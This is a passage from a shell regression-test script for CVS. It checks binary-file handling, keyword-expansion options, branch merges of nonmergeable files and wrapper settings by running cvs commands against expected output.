Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\n\t # Test whether the default options from the RCS file are\n\t # also used when operating on files instead of whole\n\t # directories\n cd ../..\n\t mkdir 3; cd 3\n\t dotest binfiles-5.5b0 \"${testcvs} -q co first-dir/binfile\" \\\n'U first-dir/binfile'\n\t cd first-dir\n\t dotest binfiles-5.5b1 \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t cd ../..\n\t rm -r 3\n\t # test that \"-kk\" does not override \"-kb\"\n\t mkdir 3; cd 3\n\t dotest binfiles-5.5c0 \"${testcvs} -q co -kk first-dir/binfile\" \\\n'U first-dir/binfile'\n\t cd first-dir\n\t dotest binfiles-5.5c1 \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t cd ../..\n\t rm -r 3\n\t cd 2/first-dir\n\n\t cp ../../1/binfile2.dat binfile\n\t dotest binfiles-6 \"${testcvs} -q ci -m modify-it\" \\\n\"Checking in binfile;\n${CVSROOT_DIRNAME}/first-dir/binfile,v <-- binfile\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../../1/first-dir\n\t dotest binfiles-7 \"${testcvs} -q update\" '[UP] binfile'\n\t dotest binfiles-8 \"cmp ../binfile2.dat binfile\" ''\n\n\t # Now test handling of conflicts with binary files.\n\t cp ../binfile.dat binfile\n\t dotest binfiles-con0 \"${testcvs} -q ci -m modify-it\" \\\n\"Checking in binfile;\n${CVSROOT_DIRNAME}/first-dir/binfile,v <-- binfile\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t cd ../../2/first-dir\n\t echo 'edits in dir 2' >binfile\n\t dotest binfiles-con1 \"${testcvs} -q update\" \\\n\"$PROG update: nonmergeable file needs merge\n${PROG} update: revision 1\\.3 from repository is now in binfile\n${PROG} update: file from working directory is now in \\.#binfile\\.1\\.2\nC binfile\"\n\n\t dotest_fail binfiles-con1b \"$testcvs -q up\" \"C binfile\"\n\n\t dotest binfiles-con2 \"cmp binfile ../../1/binfile.dat\" ''\n\t dotest binfiles-con3 \"cat .#binfile.1.2\" 'edits in dir 2'\n\n\t cp ../../1/binfile2.dat binfile\n\t dotest binfiles-con4 \"${testcvs} -q ci -m resolve-it\" \\\n\"Checking in binfile;\n${CVSROOT_DIRNAME}/first-dir/binfile,v <-- binfile\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t cd ../../1/first-dir\n\t dotest binfiles-con5 \"${testcvs} -q update\" '[UP] binfile'\n\n\t dotest binfiles-9 \"${testcvs} -q update -A\" ''\n\t # \"-kk\" no longer does anything with \"-kb\"\n\t dotest binfiles-10 \"${testcvs} -q update -kk\" ''\n\t dotest binfiles-11 \"${testcvs} -q update\" ''\n\t # \"-kk\" no longer does anything with \"-kb\"\n\t dotest binfiles-12 \"${testcvs} -q update -A\" ''\n\t dotest binfiles-13 \"${testcvs} -q update -A\" ''\n\n\t cd ../..\n\n\t mkdir 3\n\t cd 3\n\t dotest binfiles-13a0 \"${testcvs} -q co -r HEAD first-dir\" \\\n'U first-dir/binfile'\n\t cd first-dir\n\t dotest binfiles-13a1 \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.4.*\n Repository revision:\t1\\.4\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\tHEAD (revision: 1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t cd ../..\n\t rm -r 3\n\n\t cd 2/first-dir\n\t echo 'this file is $''RCSfile$' >binfile\n\t dotest binfiles-14a \"${testcvs} -q ci -m modify-it\" \\\n\"Checking in binfile;\n${CVSROOT_DIRNAME}/first-dir/binfile,v <-- binfile\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\t dotest binfiles-14b \"cat binfile\" 'this file is $''RCSfile$'\n\t # See binfiles-5.5 for discussion of -kb.\n\t dotest binfiles-14c \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.5.*\n Repository revision:\t1\\.5\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t dotest binfiles-14d \"${testcvs} admin -kv binfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/binfile,v\ndone\"\n\t # cvs admin doesn't change the checked-out file or its sticky\n\t # kopts. There probably should be a way which does (but\n\t # what if the file is modified? And do we try to version\n\t # control the kopt setting?)\n\t dotest binfiles-14e \"cat binfile\" 'this file is $''RCSfile$'\n\t dotest binfiles-14f \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.5.*\n Repository revision:\t1\\.5\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t dotest binfiles-14g \"${testcvs} -q update -A\" '[UP] binfile'\n\t dotest binfiles-14h \"cat binfile\" 'this file is binfile,v'\n\t dotest binfiles-14i \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.5.*\n Repository revision:\t1\\.5\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kv\"\n\n\t # Do sticky options work when used with 'cvs update'?\n\t echo \"Not a binary file.\" > nibfile\n\t dotest binfiles-sticky1 \"${testcvs} -q add nibfile\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest binfiles-sticky2 \"${testcvs} -q ci -m add-it nibfile\" \\\n\t \"RCS file: ${CVSROOT_DIRNAME}/first-dir/nibfile,v\ndone\nChecking in nibfile;\n${CVSROOT_DIRNAME}/first-dir/nibfile,v <-- nibfile\ninitial revision: 1\\.1\ndone\"\n\t dotest binfiles-sticky3 \"${testcvs} -q update -kb nibfile\" \\\n\t '[UP] nibfile'\n\t dotest binfiles-sticky4 \"${testcvs} -q status nibfile\" \\\n\"===================================================================\nFile: nibfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/nibfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\n\t # Now test that -A can clear the sticky option.\n\t dotest binfiles-sticky5 \"${testcvs} -q update -A nibfile\" \\\n\"[UP] nibfile\"\n\t dotest binfiles-sticky6 \"${testcvs} -q status nibfile\" \\\n\"===================================================================\nFile: nibfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/nibfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest binfiles-15 \"${testcvs} -q admin -kb nibfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/nibfile,v\ndone\"\n\t dotest binfiles-16 \"${testcvs} -q update nibfile\" \"[UP] nibfile\"\n\t dotest binfiles-17 \"${testcvs} -q status nibfile\" \\\n\"===================================================================\nFile: nibfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/nibfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\n\t dotest binfiles-o1 \"${testcvs} admin -o1.3:: binfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/binfile,v\ndeleting revision 1\\.5\ndeleting revision 1\\.4\ndone\"\n\t dotest binfiles-o2 \"${testcvs} admin -o::1.3 binfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/binfile,v\ndeleting revision 1\\.2\ndeleting revision 1\\.1\ndone\"\n\t dotest binfiles-o3 \"${testcvs} -q log -h -N binfile\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/binfile,v\nWorking file: binfile\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: v\ntotal revisions: 1\n=============================================================================\"\n\n\t # Check that the contents were right. This isn't the hard case\n\t # (in which RCS_delete_revs does a diff), but might as well.\n\t dotest binfiles-o4 \"${testcvs} -q update binfile\" \"U binfile\"\n\t dotest binfiles-o5 \"cmp binfile ../../1/binfile.dat\" \"\"\n\n\t cd ../..\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r 1\n\t rm -r 2\n\t ;;\n\n\tbinfiles2)\n\t # Test cvs's ability to handle binary files, particularly branching\n\t # and joining. The key thing we are worrying about is that CVS\n\t # doesn't print \"cannot merge binary files\" or some such, in \n\t # situations where no merging is required.\n\t # See also \"join\" which does this with non-binary files.\n\t #\n\t # Cases (we are merging from the branch to the trunk):\n\t # binfile.dat) File added on branch, not on trunk.\n\t # File should be marked for addition.\n\t # brmod) File modified on branch, not on trunk.\n\t # File should be copied over to trunk (no merging is needed).\n\t # brmod-trmod) File modified on branch, also on trunk.\n\t # This is a conflict. Present the user with both files and\n\t # let them figure it out.\n\t # brmod-wdmod) File modified on branch, not modified in the trunk\n\t # repository, but modified in the (trunk) working directory.\n\t # This is also a conflict.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1; cd 1\n\t dotest binfiles2-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\n\t # The most important thing here is that binfile, binfile2, &c\n\t # each be distinct from each other. We also make sure to include\n\t # a few likely end-of-line patterns to make sure nothing is\n\t # being munged as if in text mode.\n\t ${AWK} 'BEGIN { printf \"%c%c%c@%c%c\", 2, 10, 137, 13, 10 }' \\\n\t ../binfile\n\t cat ../binfile ../binfile >../binfile2\n\t cat ../binfile2 ../binfile >../binfile3\n\n\t # FIXCVS: unless a branch has at least one file on it,\n\t # tag_check_valid won't know it exists. So if brmod didn't\n\t # exist, we would have to invent it.\n\t cp ../binfile brmod\n\t cp ../binfile brmod-trmod\n\t cp ../binfile brmod-wdmod\n\t dotest binfiles2-1a \\\n\"${testcvs} add -kb brmod brmod-trmod brmod-wdmod\" \\\n\"${PROG} add: scheduling file .brmod. for addition\n${PROG} add: scheduling file .brmod-trmod. for addition\n${PROG} add: scheduling file .brmod-wdmod. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest binfiles2-1b \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/brmod,v\ndone\nChecking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\ninitial revision: 1\\.1\ndone\"\n\t dotest binfiles2-2 \"${testcvs} -q tag -b br\" 'T brmod\nT brmod-trmod\nT brmod-wdmod'\n\t dotest binfiles2-3 \"$testcvs -q update -r br\" \\\n'U brmod\nU brmod-trmod\nU brmod-wdmod'\n\t cp ../binfile binfile.dat\n\t dotest binfiles2-4 \"${testcvs} add -kb binfile.dat\" \\\n\"${PROG} add: scheduling file .binfile\\.dat. for addition on branch .br.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cp ../binfile2 brmod\n\t cp ../binfile2 brmod-trmod\n\t cp ../binfile2 brmod-wdmod\n\t dotest binfiles2-5 \"${testcvs} -q ci -m br-changes\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/binfile\\.dat,v\ndone\nChecking in binfile\\.dat;\n${CVSROOT_DIRNAME}/first-dir/Attic/binfile\\.dat,v <-- binfile\\.dat\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest binfiles2-6 \"${testcvs} -q update -A\" \\\n\"${PROG} update: binfile\\.dat is no longer in the repository\n[UP] brmod\n[UP] brmod-trmod\n[UP] brmod-wdmod\"\n\t dotest_fail binfiles2-7 \"test -f binfile.dat\" ''\n\t dotest binfiles2-7-brmod \"cmp ../binfile brmod\"\n\t cp ../binfile3 brmod-trmod\n\t dotest binfiles2-7a \"${testcvs} -q ci -m tr-modify\" \\\n\"Checking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cp ../binfile3 brmod-wdmod\n\n\t dotest binfiles2-8 \"${testcvs} -q update -j br\" \\\n\"U binfile\\.dat\nU brmod\n${PROG} update: nonmergeable file needs merge\n${PROG} update: revision 1.1.2.1 from repository is now in brmod-trmod\n${PROG} update: file from working directory is now in .#brmod-trmod.1.2\nC brmod-trmod\nM brmod-wdmod\n${PROG} update: nonmergeable file needs merge\n${PROG} update: revision 1.1.2.1 from repository is now in brmod-wdmod\n${PROG} update: file from working directory is now in .#brmod-wdmod.1.1\nC brmod-wdmod\"\n\n\t dotest binfiles2-9 \"cmp ../binfile binfile.dat\"\n\t dotest binfiles2-9-brmod \"cmp ../binfile2 brmod\"\n\t dotest binfiles2-9-brmod-trmod \"cmp ../binfile2 brmod-trmod\"\n\t dotest binfiles2-9-brmod-trmod \"cmp ../binfile2 brmod-wdmod\"\n\t dotest binfiles2-9a-brmod-trmod \"cmp ../binfile3 .#brmod-trmod.1.2\"\n\t dotest binfiles2-9a-brmod-wdmod \"cmp ../binfile3 .#brmod-wdmod.1.1\"\n\n\t # Test that everything was properly scheduled.\n\t dotest binfiles2-10 \"${testcvs} -q ci -m checkin\" \\\n\"Checking in binfile\\.dat;\n${CVSROOT_DIRNAME}/first-dir/binfile\\.dat,v <-- binfile\\.dat\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t dotest_fail binfiles2-o1 \"${testcvs} -q admin -o :1.2 brmod-trmod\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\ndeleting revision 1\\.2\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v: can't remove branch point 1\\.1\n${PROG} admin: RCS file for .brmod-trmod. not modified\\.\"\n\t dotest binfiles2-o2 \"${testcvs} -q admin -o 1.1.2.1: brmod-trmod\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\ndeleting revision 1\\.1\\.2\\.1\ndone\"\n\t dotest binfiles2-o3 \"${testcvs} -q admin -o :1.2 brmod-trmod\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\ndeleting revision 1\\.2\ndeleting revision 1\\.1\ndone\"\n\t dotest binfiles2-o4 \"${testcvs} -q log -N brmod-trmod\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\nWorking file: brmod-trmod\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: b\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\ncheckin\n=============================================================================\"\n\t cd ..\n\t cd ..\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r 1\n\t ;;\n\n\tbinfiles3)\n\t # More binary file tests, especially removing, adding, &c.\n\t # See \"binfiles\" for a list of binary file tests.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1; cd 1\n\t dotest binfiles3-1 \"${testcvs} -q co first-dir\" ''\n\t ${AWK} 'BEGIN { printf \"%c%c%c@%c%c\", 2, 10, 137, 13, 10 }' \\\n\t binfile.dat\n\t cd first-dir\n\t echo hello >file1\n\t dotest binfiles3-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest binfiles3-3 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t rm file1\n\t dotest binfiles3-4 \"${testcvs} rm file1\" \\\n\"${PROG} remove: scheduling .file1. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest binfiles3-5 \"${testcvs} -q ci -m remove-it\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t cp ../binfile.dat file1\n\t dotest binfiles3-6 \"${testcvs} add -kb file1\" \\\n\"${PROG} add: Re-adding file .file1. (in place of dead revision 1\\.2)\\.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # The idea behind this test is to make sure that the file\n\t # gets opened in binary mode to send to \"cvs ci\".\n\t dotest binfiles3-6a \"cat CVS/Entries\" \\\n\"/file1/0/[A-Za-z0-9 :]*/-kb/\nD\"\n\t # TODO: This just tests the case where the old keyword\n\t # expansion mode is the default (RCS_getexpand == NULL\n\t # in checkaddfile()); should also test the case in which\n\t # we are changing it from one non-default value to another.\n\t dotest binfiles3-7 \"${testcvs} -q ci -m readd-it\" \\\n\"${PROG} commit: changing keyword expansion mode to -kb\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t dotest binfiles3-8 \"${testcvs} -q log -h -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: b\ntotal revisions: 3\n=============================================================================\"\n\n\t # OK, now test admin -o on a binary file. See \"admin\"\n\t # test for a more complete list of admin -o tests.\n\t cp ${TESTDIR}/1/binfile.dat ${TESTDIR}/1/binfile4.dat\n\t echo '%%$$##@@!!jjiiuull' | ${TR} j '\\000' >>${TESTDIR}/1/binfile4.dat\n\t cp ${TESTDIR}/1/binfile4.dat ${TESTDIR}/1/binfile5.dat\n\t echo 'aawwee%$$##@@!!jjil' | ${TR} w '\\000' >>${TESTDIR}/1/binfile5.dat\n\n\t cp ../binfile4.dat file1\n\t dotest binfiles3-9 \"${testcvs} -q ci -m change\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t cp ../binfile5.dat file1\n\t dotest binfiles3-10 \"${testcvs} -q ci -m change\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\t dotest binfiles3-11 \"${testcvs} admin -o 1.3::1.5 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndeleting revision 1\\.4\ndone\"\n\t dotest binfiles3-12 \"${testcvs} -q update -r 1.3 file1\" \"U file1\"\n\t dotest binfiles3-13 \"cmp file1 ${TESTDIR}/1/binfile.dat\" \"\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmcopy)\n\t # See comment at \"mwrap\" test for list of other wrappers tests.\n\t # Test cvs's ability to handle nonmergeable files specified with\n\t # -m 'COPY' in wrappers. Similar to the binfiles2 test,\n\t # which tests the same thing for binary files\n\t # (which are non-mergeable in the same sense).\n\t #\n\t # Cases (we are merging from the branch to the trunk):\n\t # brmod) File modified on branch, not on trunk.\n\t # File should be copied over to trunk (no merging is needed).\n\t # brmod-trmod) File modified on branch, also on trunk.\n\t # This is a conflict. Present the user with both files and\n\t # let them figure it out.\n\t # brmod-wdmod) File modified on branch, not modified in the trunk\n\t # repository, but modified in the (trunk) working directory.\n\t # This is also a conflict.\n\n\t # For the moment, remote CVS can't pass wrappers from CVSWRAPPERS\n\t # (see wrap_send). So skip these tests for remote.\n\t if $remote; then :; else\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1; cd 1\n\t dotest mcopy-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\n\t # FIXCVS: unless a branch has at least one file on it,\n\t # tag_check_valid won't know it exists. So if brmod didn't\n\t # exist, we would have to invent it.\n\t echo 'brmod initial contents' >brmod\n\t echo 'brmod-trmod initial contents' >brmod-trmod\n\t echo 'brmod-wdmod initial contents' >brmod-wdmod\n\t echo \"* -m 'COPY'\" >.cvswrappers\n\t dotest mcopy-1a \\\n\"${testcvs} add .cvswrappers brmod brmod-trmod brmod-wdmod\" \\\n\"${PROG} add: scheduling file .\\.cvswrappers. for addition\n${PROG} add: scheduling file .brmod. for addition\n${PROG} add: scheduling file .brmod-trmod. for addition\n${PROG} add: scheduling file .brmod-wdmod. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest mcopy-1b \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/\\.cvswrappers,v\ndone\nChecking in \\.cvswrappers;\n${CVSROOT_DIRNAME}/first-dir/\\.cvswrappers,v <-- \\.cvswrappers\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod,v\ndone\nChecking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\ninitial revision: 1\\.1\ndone\"\n\n\t # NOTE: .cvswrappers files are broken (see comment in\n\t # src/wrapper.c). So doing everything via the environment\n\t # variable is a workaround. Better would be to test them\n\t # both.\n\t CVSWRAPPERS=\"* -m 'COPY'\"\n\t export CVSWRAPPERS\n\t dotest mcopy-2 \"${testcvs} -q tag -b br\" 'T \\.cvswrappers\nT brmod\nT brmod-trmod\nT brmod-wdmod'\n\t dotest mcopy-3 \"$testcvs -q update -r br\" \\\n'U .cvswrappers\nU brmod\nU brmod-trmod\nU brmod-wdmod'\n\t echo 'modify brmod on br' >brmod\n\t echo 'modify brmod-trmod on br' >brmod-trmod\n\t echo 'modify brmod-wdmod on br' >brmod-wdmod\n\t dotest mcopy-5 \"${testcvs} -q ci -m br-changes\" \\\n\"Checking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest mcopy-6 \"$testcvs -q update -A\" \\\n'U .cvswrappers\nU brmod\nU brmod-trmod\nU brmod-wdmod'\n\t dotest mcopy-7 \"cat brmod brmod-trmod brmod-wdmod\" \\\n\"brmod initial contents\nbrmod-trmod initial contents\nbrmod-wdmod initial contents\"\n\n\t echo 'modify brmod-trmod again on trunk' >brmod-trmod\n\t dotest mcopy-7a \"${testcvs} -q ci -m tr-modify\" \\\n\"Checking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t echo 'modify brmod-wdmod in working dir' >brmod-wdmod\n\n\t dotest mcopy-8 \"${testcvs} -q update -j br\" \\\n\"U brmod\n${PROG} update: nonmergeable file needs merge\n${PROG} update: revision 1.1.2.1 from repository is now in brmod-trmod\n${PROG} update: file from working directory is now in .#brmod-trmod.1.2\nC brmod-trmod\nM brmod-wdmod\n${PROG} update: nonmergeable file needs merge\n${PROG} update: revision 1.1.2.1 from repository is now in brmod-wdmod\n${PROG} update: file from working directory is now in .#brmod-wdmod.1.1\nC brmod-wdmod\"\n\n\t dotest mcopy-9 \"cat brmod brmod-trmod brmod-wdmod\" \\\n\"modify brmod on br\nmodify brmod-trmod on br\nmodify brmod-wdmod on br\"\n\t dotest mcopy-9a \"cat .#brmod-trmod.1.2 .#brmod-wdmod.1.1\" \\\n\"modify brmod-trmod again on trunk\nmodify brmod-wdmod in working dir\"\n\n\t # Test that everything was properly scheduled.\n\t dotest mcopy-10 \"${testcvs} -q ci -m checkin\" \\\n\"Checking in brmod;\n${CVSROOT_DIRNAME}/first-dir/brmod,v <-- brmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in brmod-trmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-trmod,v <-- brmod-trmod\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\nChecking in brmod-wdmod;\n${CVSROOT_DIRNAME}/first-dir/brmod-wdmod,v <-- brmod-wdmod\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ..\n\t cd ..\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r 1\n\t unset CVSWRAPPERS\n\n\t fi # end of tests to be skipped for remote\n\n\t ;;\n\n\tbinwrap)\n\t # Test the ability to specify binary-ness based on file name.\n\t # See \"mwrap\" for a list of other wrappers tests.\n\n\t mkdir dir-to-import\n\t cd dir-to-import\n\t touch foo.c foo.exe\n\n\t # While we're here, test for rejection of duplicate tag names.\n\t dotest_fail binwrap-0 \\\n\t \"${testcvs} import -m msg -I ! first-dir dup dup\" \\\n\"${PROG} \\[[a-z]* aborted\\]: tag .dup. was specified more than once\"\n\n\t if ${testcvs} import -m message -I ! -W \"*.exe -k 'b'\" \\\n\t first-dir tag1 tag2 >>${LOGFILE}; then\n\t pass binwrap-1\n\t else\n\t fail binwrap-1\n\t fi\n\t cd ..\n\t rm -r dir-to-import\n\t dotest binwrap-2 \"${testcvs} -q co first-dir\" 'U first-dir/foo.c\nU first-dir/foo.exe'\n\t dotest binwrap-3 \"${testcvs} -q status first-dir\" \\\n\"===================================================================\nFile: foo\\.c \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.1\\.1.*\n Repository revision:\t1\\.1\\.1\\.1\t${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: foo\\.exe \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.1\\.1.*\n Repository revision:\t1\\.1\\.1\\.1\t${CVSROOT_DIRNAME}/first-dir/foo\\.exe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tbinwrap2)\n\t # Test the ability to specify binary-ness based on file name.\n\t # See \"mwrap\" for a list of other wrappers tests.\n\n\t mkdir dir-to-import\n\t cd dir-to-import\n\t touch foo.c foo.exe\n\n\t # Specify that all files are binary except *.c.\n\t # The order seems to matter, with the earlier rules taking\n\t # precedence. I'm not sure whether that is good or not,\n\t # but it is the current behavior.\n\t if ${testcvs} import -m message -I ! \\\n\t -W \"*.c -k 'o'\" -W \"* -k 'b'\" \\\n\t first-dir tag1 tag2 >>${LOGFILE}; then\n\t pass binwrap2-1\n\t else\n\t fail binwrap2-1\n\t fi\n\t cd ..\n\t rm -r dir-to-import\n\t dotest binwrap2-2 \"${testcvs} -q co first-dir\" 'U first-dir/foo.c\nU first-dir/foo.exe'\n\t dotest binwrap2-3 \"${testcvs} -q status first-dir\" \\\n\"===================================================================\nFile: foo\\.c 